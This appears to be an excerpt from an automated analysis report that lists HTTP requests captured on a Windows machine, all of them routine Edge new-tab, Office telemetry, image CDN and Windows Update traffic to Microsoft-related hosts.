Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732223097968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d41ff1193c9d4d589e56076438120f12&activityId=d41ff1193c9d4d589e56076438120f12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3AFA34AF60E96DDF261E219161EE6CD7&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=91fd4df48af24b389dac64cc734374b4 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=15497343e96417d65aaa5001732223100; XID=15497343e96417d65aaa5001732223100
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3AFA34AF60E96DDF261E219161EE6CD7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c3d21b22c27249cbaf7829a126bca392 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732223097968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d41ff1193c9d4d589e56076438120f12&activityId=d41ff1193c9d4d589e56076438120f12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F27E49CDADA4719BA52FA6E0688DEC0&MUID=3AFA34AF60E96DDF261E219161EE6CD7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1; SM=T; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ob33m3YsYDGcS77&MD=6go2PWKd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
